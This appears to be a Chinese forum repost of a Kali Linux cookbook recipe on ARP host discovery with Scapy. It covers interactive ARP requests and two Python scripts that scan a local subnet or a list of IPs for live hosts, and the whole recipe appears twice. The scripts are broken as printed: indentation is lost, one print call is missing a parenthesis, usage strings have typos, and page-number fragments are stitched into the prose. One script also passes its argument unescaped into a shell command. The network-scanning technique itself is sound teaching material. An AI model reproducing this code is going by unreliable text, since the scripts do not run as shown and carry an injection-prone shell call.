[size=16]#[ ARP ][/size]#
hwtype= 0x1
ptype= 0x800
hwlen= 6
plen= 4
op= who-has
hwsrc= 00:0c:29:24:94:d1
psrc= 172.16.155.150
hwdst= 00:00:00:00:00:00
pdst= 172.16.155.1[/quote]

[quote]>> 注意, display() 函数可以在新创建的 ARP 对象上调用,来验证配置值是否已更新。 对于此练习,请使用与实验环境网络中的活动计算机对应的目标 IP 地址。然后 sr1() 函数可以用于发送请求并返回第一个响应:>>> sr1(arp_request)
Begin emission:
................*Finished sending 1 packets.[/quote]

Received 17 packets, got 1 answers, remaining 0 packets
<ARP hwtype=0x1 ptype=0x800 hwlen=6 plen=4 op=is-at hwsrc=00:50:56:c0:00:08 psrc=172.16.155.1 hwdst=00:0c:29:24:94:d1 pdst=172.16.155.150 |<Padding load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |>>
[quote]>> 或者,也可以通过直接调用该函数,并将任何特殊配置作为参数传递给它,来执行相同的任务,如以下命令所示。 这可以避免使用不必要的变量的混乱,并且还可以在单行代码中完成整个任务:>>> sr1(ARP(pdst="172.16.155.1"))
Begin emission:
................Finished sending 1 packets.
*
Received 17 packets, got 1 answers, remaining 0 packets
<ARP hwtype=0x1 ptype=0x800 hwlen=6 plen=4 op=is-at hwsrc=00:50:56:c0:00:08 psrc=172.16.155.1 hwdst=00:0c:29:24:94:d1 pdst=172.16.155.150 |<Padding load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |>>
>>>
注意,在这些情况的每一个中,返回响应表明, 172.16.155.1 的 IP 地址的MAC 地址为 00:50:56:c0:00:08。 如果执行相同的任务,但是目标 IP 地址不对应实验环境网络上的活动主机,则不会收到任何响应,并且该功能将无限继续分析本地接口上传入的流量 。你可以使用 Ctrl + C 强制停止该函数。或者,你可以指定一个 timeout 参数来避免此问题。 当 Scapy 在P ython 脚本中使用时,超时的使用将变得至关重要。要使用超时,应向发送/接收函数提供一个附加参数,指定等待传入响应的秒数:>>> arp_request.pdst="172.16.155.1"
>>> sr1(arp_request,timeout=1)
Begin emission:
......................*Finished sending 1 packets.[/quote]

Received 23 packets, got 1 answers, remaining 0 packets
<ARP hwtype=0x1 ptype=0x800 hwlen=6 plen=4 op=is-at hwsrc=00:50:56:c0:00:08 psrc=172.16.155.1 hwdst=00:0c:29:24:94:d1 pdst=172.16.155.150 |<Padding load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |>>
[quote]>>
通过使用超时功能,发送到非响应主机的请求将在指定的时间之后返回,并显示捕获到 0 个应答。 此外,此函数收到的响应也可以赋给变量,并且可以通过访问此变量对响应执行后续处理:>>> response=sr1(arp_request,timeout=1)
Begin emission:
...............Finished sending 1 packets.
*
Received 16 packets, got 1 answers, remaining 0 packets
>>> response.display()
[size=16]#[ ARP ][/size]#
hwtype= 0x1
ptype= 0x800
hwlen= 6
plen= 4
op= is-at
hwsrc= 00:50:56:c0:00:08
psrc= 172.16.155.1
hwdst= 00:0c:29:24:94:d1
pdst= 172.16.155.150
[size=16]#[ Padding ][/size]#
load= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'[/quote]

[quote]>> Scapy也可以用作 Python 脚本语言中的库。 这可以用于高效自动执行 Scapy 中执行的冗余任务。 Python 和 Scapy 可以用于循环遍历本地子网内的每个可能的主机地址,并向每个子网发送 ARP 请求。 下面的示例脚本可用于在主机的连续序列上执行第二层发现:#!/usr/bin/python3[/quote]

import logging
import subprocess
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
print(sys.argv)

if len(sys.argv)!=2:
print("Usage - ./arp_disc.pyp[interface]")
print("Example - ./arp_dic.py eth0")
print("Example will perform an ARP scan of the local subnet to which eth0 is assigned")
sys.exit()

interface=str(sys.argv[1])

ip=subprocess.check_output("ifconfig "+interface+" | grep 'inet' | head -n 1| cut -d ' ' -f 10",shell=True).strip() #这里的cut -d ' ' -f 10 不同的操作系统响应的也不太一样,请自行修改
ip=ip.decode()
print(ip
prefix=ip.split('.')[0]+'.'+ip.split('.')[1]+'.'+ip.split('.')[2]+'.'
for addr in range(0,254):
answer=sr1(ARP(pdst=prefix+str(addr)),timeout=1,verbose=0)

if answer==None:
pass
else:
print(prefix+str(addr))





脚本的第一行标识了 Python 解释器所在的位置,以便脚本可以在不传递到解释器的情况下执行。 然后脚本导入所有 Scapy 函数,并定义 Scapy 日志记录级别,以消除脚本中不必要的输出。 还导入了子过程库,以便于从系统调用中提取信息。第二个代码块是条件测试,用于评估是否向脚本提供了所需的参数。 如果在执行时未提供所需的参数,则脚本将输出使用情况的说明。 该说明包括工具的用法,示例和所执行任务的解释。在这个代码块之后,有一个单独的代码行将所提供的参数赋值给 interface 变量。下一个代码块使用 check_output() 子进程函数执行 ifconfig 系统调用,该调用也使用 grep 和 cut 从作为参数提供的本地接口提取 IP 地址。然后将此输出赋给 ip 变量。然后使用 split 函数从 IP 地址字符串中提取 / 24 网络前缀。例如,如果 ip 变量包含 192.168.11.4 字符串,则值为 192.168.11 。它将赋给 prefix 变量。最后一个代码块是一个用于执行实际扫描的 for 循环。for 循环遍历介于 0 和 254 之间的所有值,并且对于每次迭代,该值随后附加到网络前缀后面。在早先提供的示例的中,将针对 192.168.11.0 和 192.168.11.254 之间的每个 IP 地址广播 ARP 请求。然后对于每个回复的活动主机,将相应的 IP 地址打印到屏幕上,以表明主机在 LAN 上活动。一旦脚本被写入本地目录,你可以在终端中使用句号和斜杠,然后是可执行脚本的名称来执行它。看看以下用于执行脚本的命令:root@KaliLinux:~# ./arp_disc.py

Usage - ./arp_disc.py [interface]
Example - ./arp_disc.py eth0
Example will perform an ARP scan of the local subnet to which et
h0 is assigned




如果在没有提供任何参数的情况下执行脚本,则会将使用情况输出到屏幕。 用法输出表明此脚本需要一个参数,该参数定义应使用哪个接口执行扫描。 在以下示例中,使用 eth0 接口执行脚本:root@kali:~# ./arp_disc.py eth0
['./arp_disc.py', 'eth0']
172.16.155.1
172.16.155.2
一旦运行,脚本将确定提供的接口的本地子网; 在此子网上执行 ARP 扫描,然后根据来自这些 IP 的主机的响应输出 IP 地活动址列表。 此外,Wireshark 可以同时运行,因为脚本正在运行来观察如何按顺序广播每个地址的请求,以及活动主机如何响应这些请求,如以下屏幕截图所示:
 





 
此外,我们可以轻易将脚本的输出重定向到文本文件,然后可以用于随后的分析。可以使用尖括号重定向输出,后跟文本文件的名称。 一个例子如下:root@kali:~# ./arp_disc.py eth0 > output.txt
root@kali:~# cat output.txt
['./arp_disc.py', 'eth0']
172.16.155.1
172.16.155.2一旦输出重定向到输出文件,你可以使用 ls 命令验证文件是否已写入文件系统,或者可以使用 cat 命令查看文件的内容。 此脚本还可以轻松地修改为,仅对文本文件中包含的某些 IP 地址执行 ARP 请求。 为此,我们首先需要创建一个我们希望扫描的 IP 地址列表。 为此,模可以使用 Nano 或 VIM 文本编辑器。 为了评估脚本第二章 探索扫描41的功能,请包含先之前发现的一些活动地址,以及位于不对应任何活动主机的相同范围内的一些其他随机选择的地址。 为了在 VIM 或 Nano 中创建输入文件,请使用以下命令之一:root@KaliLinux:~# vim iplist.txt





root@KaliLinux:~# nano iplist.txt
创建输入文件后,可以使用 cat 命令验证其内容。 假设文件已正确创建,你应该会看到你在文本编辑器中输入的 IP 地址列表:root@kali:~# cat iplist.txt
172.16.155.1
172.16.155.2
172.16.155.232
172.16.155.135
172.16.155.180
172.16.155.203
172.16.155.205
172.16.155.254为了创建一个将接受文本文件作为输入的脚本,我们可以修改上一个练习中的现有脚本,或创建一个新的脚本文件。 为了在我们的脚本中使用这个 IP 地址列表,我们需要在 Python 中执行一些文件处理。 工作脚本的示例如下所示:#!/usr/bin/python3

import logging
import subprocess
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
print(sys.argv)

if len(sys.argv)!=2:
print("Usage - ./arp_disc.py [filename]")
print("Example - ./arp_dic.py iplist.txt")
print("Example will perform an ARP scan of the IP addresses listed in iplist.txt")
sys.exit()

filename=str(sys.argv[1])
file1=open(filename,'r')

for addr in file1:
answer=sr1(ARP(pdst=addr.strip()),timeout=0.01,verbose=0)
#print('发送第'+str(addr)+"个包")
if answer==None:
pass
else:
print(addr.strip())这个脚本和以前用来循环遍历连续序列的脚本中唯一的真正区别是,创建一个称为 file 而不是 interface 的变量。 然后使用 open() 函数,通过在脚本的相同目录中打开 iplist.txt 文件,来创建对象。 r 值也传递给函数来指定对文件的只读访问。 for 循环遍历文件中列出的每个 IP 地址,然后输出回复 ARP 广播请求的 IP 地址。 此脚本可以以与前面讨论的相同方式执行:root@kali:~# ./arp_disc.py
['./arp_disc.py']
Usage - ./arp_disc.py [filename]
Example - ./arp_dic.py iplist.txt
Example will perform an ARP scan of the IP addresses listed in iplist.txt
root@kali:~#





如果在没有提供任何参数的情况下执行脚本,则会将使用情况输出到屏幕。 使用情况输出表明,此脚本需要一个参数,用于定义要扫描的 IP 地址的输入列表。 在以下示例中,使用执行目录中的 iplist.txt 文件执行脚本:root@kali:~# ./arp_disc.py iplist.txt
['./arp_disc.py', 'iplist.txt']
172.16.155.1
172.16.155.2
172.16.155.254
一旦运行,脚本只会输出输入文件中的 IP 地址,并且也响应 ARP 请求流量。 这些地址中的每一个表示在 LAN 上的活动系统。 使用与前面讨论的相同的方式,此脚本的输出可以轻易重定向到一个文件,使用尖1括号后跟输出文件的所需名称:root@kali:~# ./arp_disc.py iplist.txt > output.txt
root@kali:~# ls output.txt
output.txt
root@kali:~# cat output.txt
['./arp_disc.py', 'iplist.txt']
172.16.155.1
172.16.155.2
172.16.155.254
一旦将输出重定向到输出文件,你可以使用 ls 命令验证文件是否已写入文件系统,或者可以使用 cat 命令查看文件的内容。
 
工作原理
通过使用 sr1() (发送/接收单个)功能,可以在 Scapy 中进行 ARP 发现。 此函数注入由提供的参数定义的数据包,然后等待接收单个响应。 在这种情况下,我们广播了单个 ARP 请求,并且函数将返回响应。 Scapy 库可以将此技术轻易集成到第二章 探索扫描43脚本中,并可以测试多个系统。
 
 
  查看全部
使用 Scapy 探索第二层
Scapy 是一个强大的交互工具,可用于捕获,分析,操作甚至创建协议兼容的网络流量,然后注入到网络中。 Scapy 也是一个可以在 Python 中使用的库,从而提供创建高效的脚本,来执行网络流量处理和操作的函数。 这个特定的秘籍演示了如何使用 Scapy 执行 ARP 发现,以及如何使用P ython 和 Scapy 创建脚本来简化第二层发现过程。
 
准备
要使用 Scapy 执行 ARP 发现,你需要在 LAN 上至少拥有一个响应 ARP 请求的系统。
 
操作步骤
为了了解 ARP 发现的工作原理,我们使用 Scapy 来开发自定义数据包,这允让我们能够使用 ARP 识别 LAN 上的主机。 要在 Kali Linux 中开始使用 Scapy,请从终端输入 scapy 命令。 然后,你可以使用 display() 函数以下列方式查看在Scapy 中创建的任何 ARP 对象的默认配置:
root@kali:~# scapy
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().
WARNING: No route found for IPv6 destination :: (no default route?)
WARNING: IPython not available. Using standard Python shell instead.
AutoCompletion, History are disabled.

aSPY//YASa
apyyyyCY//////////YCa |
sY//////YSpcs scpCY//Pp | Welcome to Scapy
ayp ayyyyyyySCP//Pp syY//C | Version 2.4.0
AYAsAYYYYYYYY///Ps cY//S |
pCCCCY//p cSSps y//Y | https://github.com/secdev/scapy
SPPPP///a pP///AC//Y |
A//A cyP////C | Have fun!
p///Ac sC///a |
P////YCpc A//A | We are in France, we say Skappee.
scccccp///pSP///p p//Y | OK? Merci.
sY/////////y caa S//P | -- Sebastien Chabal
cayCyayP//Ya pY/Ya |
sY/PsY////YCc aC//Yp
sc sccaCY//PCypaapyCP//YSs
spCPY//////YPSps
ccaacs

[quote]>> ARP().display()
[size=16]#[ ARP ][/size]#
hwtype= 0x1
ptype= 0x800
hwlen= 6
plen= 4
op= who-has
hwsrc= 00:0c:29:24:94:d1
psrc= 172.16.155.150
hwdst= 00:00:00:00:00:00
pdst= 0.0.0.0
请注意,IP 和 MAC 源地址都会自动配置为与运行 Scapy 的主机相关的值。 除非你需要伪造源地址,否则对于任何 Scapy 对象永远不必更改这些值。 ARP 的默认操作码值被自动设置为 who-has ,表明该封包用于请求 IP 和 MAC 关联。 在这种情况下,我们需要提供的唯一值是目标 IP 地址。 为此,我们可以使用 ARP 函数创建一个对象,将其赋给一个变量。 变量的名称是无所谓(在提供的示例中,使用变量名称 arp_request )。 看看下面的命令:
>>> arp_request=ARP()
>>> arp_request.pdst="172.16.155.1"
>>> arp_request.display()
[size=16]#[ ARP ][/size]#
hwtype= 0x1
ptype= 0x800
hwlen= 6
plen= 4
op= who-has
hwsrc= 00:0c:29:24:94:d1
psrc= 172.16.155.150
hwdst= 00:00:00:00:00:00
pdst= 172.16.155.1[/quote]

[quote]>>
注意, display() 函数可以在新创建的 ARP 对象上调用,来验证配置值是否已更新。 对于此练习,请使用与实验环境网络中的活动计算机对应的目标 IP 地址。然后 sr1() 函数可以用于发送请求并返回第一个响应:
>>> sr1(arp_request)
Begin emission:
................*Finished sending 1 packets.[/quote]

Received 17 packets, got 1 answers, remaining 0 packets
<ARP hwtype=0x1 ptype=0x800 hwlen=6 plen=4 op=is-at hwsrc=00:50:56:c0:00:08 psrc=172.16.155.1 hwdst=00:0c:29:24:94:d1 pdst=172.16.155.150 |<Padding load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |>>
[quote]>>
或者,也可以通过直接调用该函数,并将任何特殊配置作为参数传递给它,来执行相同的任务,如以下命令所示。 这可以避免使用不必要的变量的混乱,并且还可以在单行代码中完成整个任务:
>>> sr1(ARP(pdst="172.16.155.1"))
Begin emission:
................Finished sending 1 packets.
*
Received 17 packets, got 1 answers, remaining 0 packets
<ARP hwtype=0x1 ptype=0x800 hwlen=6 plen=4 op=is-at hwsrc=00:50:56:c0:00:08 psrc=172.16.155.1 hwdst=00:0c:29:24:94:d1 pdst=172.16.155.150 |<Padding load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |>>
>>>

注意,在这些情况的每一个中,返回响应表明, 172.16.155.1 的 IP 地址的MAC 地址为 00:50:56:c0:00:08。 如果执行相同的任务,但是目标 IP 地址不对应实验环境网络上的活动主机,则不会收到任何响应,并且该功能将无限继续分析本地接口上传入的流量 。你可以使用 Ctrl + C 强制停止该函数。或者,你可以指定一个 timeout 参数来避免此问题。 当 Scapy 在P ython 脚本中使用时,超时的使用将变得至关重要。要使用超时,应向发送/接收函数提供一个附加参数,指定等待传入响应的秒数:
>>> arp_request.pdst="172.16.155.1"
>>> sr1(arp_request,timeout=1)
Begin emission:
......................*Finished sending 1 packets.[/quote]

Received 23 packets, got 1 answers, remaining 0 packets
<ARP hwtype=0x1 ptype=0x800 hwlen=6 plen=4 op=is-at hwsrc=00:50:56:c0:00:08 psrc=172.16.155.1 hwdst=00:0c:29:24:94:d1 pdst=172.16.155.150 |<Padding load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |>>
[quote]>>

通过使用超时功能,发送到非响应主机的请求将在指定的时间之后返回,并显示捕获到 0 个应答。 此外,此函数收到的响应也可以赋给变量,并且可以通过访问此变量对响应执行后续处理:
>>> response=sr1(arp_request,timeout=1)
Begin emission:
...............Finished sending 1 packets.
*
Received 16 packets, got 1 answers, remaining 0 packets
>>> response.display()
[size=16]#[ ARP ][/size]#
hwtype= 0x1
ptype= 0x800
hwlen= 6
plen= 4
op= is-at
hwsrc= 00:50:56:c0:00:08
psrc= 172.16.155.1
hwdst= 00:0c:29:24:94:d1
pdst= 172.16.155.150
[size=16]#[ Padding ][/size]#
load= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'[/quote]

[quote]>>
Scapy也可以用作 Python 脚本语言中的库。 这可以用于高效自动执行 Scapy 中执行的冗余任务。 Python 和 Scapy 可以用于循环遍历本地子网内的每个可能的主机地址,并向每个子网发送 ARP 请求。 下面的示例脚本可用于在主机的连续序列上执行第二层发现:
#!/usr/bin/python3[/quote]

import logging
import subprocess
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
print(sys.argv)

if len(sys.argv)!=2:
print("Usage - ./arp_disc.pyp[interface]")
print("Example - ./arp_dic.py eth0")
print("Example will perform an ARP scan of the local subnet to which eth0 is assigned")
sys.exit()

interface=str(sys.argv[1])

ip=subprocess.check_output("ifconfig "+interface+" | grep 'inet' | head -n 1| cut -d ' ' -f 10",shell=True).strip() #这里的cut -d ' ' -f 10 不同的操作系统响应的也不太一样,请自行修改
ip=ip.decode()
print(ip
prefix=ip.split('.')[0]+'.'+ip.split('.')[1]+'.'+ip.split('.')[2]+'.'
for addr in range(0,254):
answer=sr1(ARP(pdst=prefix+str(addr)),timeout=1,verbose=0)

if answer==None:
pass
else:
print(prefix+str(addr))





脚本的第一行标识了 Python 解释器所在的位置,以便脚本可以在不传递到解释器的情况下执行。 然后脚本导入所有 Scapy 函数,并定义 Scapy 日志记录级别,以消除脚本中不必要的输出。 还导入了子过程库,以便于从系统调用中提取信息。第二个代码块是条件测试,用于评估是否向脚本提供了所需的参数。 如果在执行时未提供所需的参数,则脚本将输出使用情况的说明。 该说明包括工具的用法,示例和所执行任务的解释。在这个代码块之后,有一个单独的代码行将所提供的参数赋值给 interface 变量。下一个代码块使用 check_output() 子进程函数执行 ifconfig 系统调用,该调用也使用 grep 和 cut 从作为参数提供的本地接口提取 IP 地址。然后将此输出赋给 ip 变量。然后使用 split 函数从 IP 地址字符串中提取 / 24 网络前缀。例如,如果 ip 变量包含 192.168.11.4 字符串,则值为 192.168.11 。它将赋给 prefix 变量。最后一个代码块是一个用于执行实际扫描的 for 循环。for 循环遍历介于 0 和 254 之间的所有值,并且对于每次迭代,该值随后附加到网络前缀后面。在早先提供的示例的中,将针对 192.168.11.0 和 192.168.11.254 之间的每个 IP 地址广播 ARP 请求。然后对于每个回复的活动主机,将相应的 IP 地址打印到屏幕上,以表明主机在 LAN 上活动。一旦脚本被写入本地目录,你可以在终端中使用句号和斜杠,然后是可执行脚本的名称来执行它。看看以下用于执行脚本的命令:
root@KaliLinux:~# ./arp_disc.py

Usage - ./arp_disc.py [interface]
Example - ./arp_disc.py eth0
Example will perform an ARP scan of the local subnet to which et
h0 is assigned




如果在没有提供任何参数的情况下执行脚本,则会将使用情况输出到屏幕。 用法输出表明此脚本需要一个参数,该参数定义应使用哪个接口执行扫描。 在以下示例中,使用 eth0 接口执行脚本:
root@kali:~# ./arp_disc.py eth0
['./arp_disc.py', 'eth0']
172.16.155.1
172.16.155.2

一旦运行,脚本将确定提供的接口的本地子网; 在此子网上执行 ARP 扫描,然后根据来自这些 IP 的主机的响应输出 IP 地活动址列表。 此外,Wireshark 可以同时运行,因为脚本正在运行来观察如何按顺序广播每个地址的请求,以及活动主机如何响应这些请求,如以下屏幕截图所示:
 

QQ20180528-184456@2x.png

 
此外,我们可以轻易将脚本的输出重定向到文本文件,然后可以用于随后的分析。可以使用尖括号重定向输出,后跟文本文件的名称。 一个例子如下:
root@kali:~# ./arp_disc.py eth0 > output.txt
root@kali:~# cat output.txt
['./arp_disc.py', 'eth0']
172.16.155.1
172.16.155.2
一旦输出重定向到输出文件,你可以使用 ls 命令验证文件是否已写入文件系统,或者可以使用 cat 命令查看文件的内容。 此脚本还可以轻松地修改为,仅对文本文件中包含的某些 IP 地址执行 ARP 请求。 为此,我们首先需要创建一个我们希望扫描的 IP 地址列表。 为此,模可以使用 Nano 或 VIM 文本编辑器。 为了评估脚本第二章 探索扫描41的功能,请包含先之前发现的一些活动地址,以及位于不对应任何活动主机的相同范围内的一些其他随机选择的地址。 为了在 VIM 或 Nano 中创建输入文件,请使用以下命令之一:
root@KaliLinux:~# vim iplist.txt





root@KaliLinux:~# nano iplist.txt

创建输入文件后,可以使用 cat 命令验证其内容。 假设文件已正确创建,你应该会看到你在文本编辑器中输入的 IP 地址列表:
root@kali:~# cat iplist.txt 
172.16.155.1
172.16.155.2
172.16.155.232
172.16.155.135
172.16.155.180
172.16.155.203
172.16.155.205
172.16.155.254
为了创建一个将接受文本文件作为输入的脚本,我们可以修改上一个练习中的现有脚本,或创建一个新的脚本文件。 为了在我们的脚本中使用这个 IP 地址列表,我们需要在 Python 中执行一些文件处理。 工作脚本的示例如下所示:
#!/usr/bin/python3

import logging
import subprocess
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
print(sys.argv)

if len(sys.argv)!=2:
print("Usage - ./arp_disc.py [filename]")
print("Example - ./arp_dic.py iplist.txt")
print("Example will perform an ARP scan of the IP addresses listed in iplist.txt")
sys.exit()

filename=str(sys.argv[1])
file1=open(filename,'r')

for addr in file1:
answer=sr1(ARP(pdst=addr.strip()),timeout=0.01,verbose=0)
#print('发送第'+str(addr)+"个包")
if answer==None:
pass
else:
print(addr.strip())
这个脚本和以前用来循环遍历连续序列的脚本中唯一的真正区别是,创建一个称为 file 而不是 interface 的变量。 然后使用 open() 函数,通过在脚本的相同目录中打开 iplist.txt 文件,来创建对象。 r 值也传递给函数来指定对文件的只读访问。 for 循环遍历文件中列出的每个 IP 地址,然后输出回复 ARP 广播请求的 IP 地址。 此脚本可以以与前面讨论的相同方式执行:
root@kali:~# ./arp_disc.py 
['./arp_disc.py']
Usage - ./arp_disc.py [filename]
Example - ./arp_dic.py iplist.txt
Example will perform an ARP scan of the IP addresses listed in iplist.txt
root@kali:~#





如果在没有提供任何参数的情况下执行脚本,则会将使用情况输出到屏幕。 使用情况输出表明,此脚本需要一个参数,用于定义要扫描的 IP 地址的输入列表。 在以下示例中,使用执行目录中的 iplist.txt 文件执行脚本:
root@kali:~# ./arp_disc.py iplist.txt
['./arp_disc.py', 'iplist.txt']
172.16.155.1
172.16.155.2
172.16.155.254

一旦运行,脚本只会输出输入文件中的 IP 地址,并且也响应 ARP 请求流量。 这些地址中的每一个表示在 LAN 上的活动系统。 使用与前面讨论的相同的方式,此脚本的输出可以轻易重定向到一个文件,使用尖1括号后跟输出文件的所需名称:
root@kali:~# ./arp_disc.py iplist.txt > output.txt
root@kali:~# ls output.txt
output.txt
root@kali:~# cat output.txt
['./arp_disc.py', 'iplist.txt']
172.16.155.1
172.16.155.2
172.16.155.254

一旦将输出重定向到输出文件,你可以使用 ls 命令验证文件是否已写入文件系统,或者可以使用 cat 命令查看文件的内容。
 
工作原理
通过使用 sr1() (发送/接收单个)功能,可以在 Scapy 中进行 ARP 发现。 此函数注入由提供的参数定义的数据包,然后等待接收单个响应。 在这种情况下,我们广播了单个 ARP 请求,并且函数将返回响应。 Scapy 库可以将此技术轻易集成到第二章 探索扫描43脚本中,并可以测试多个系统。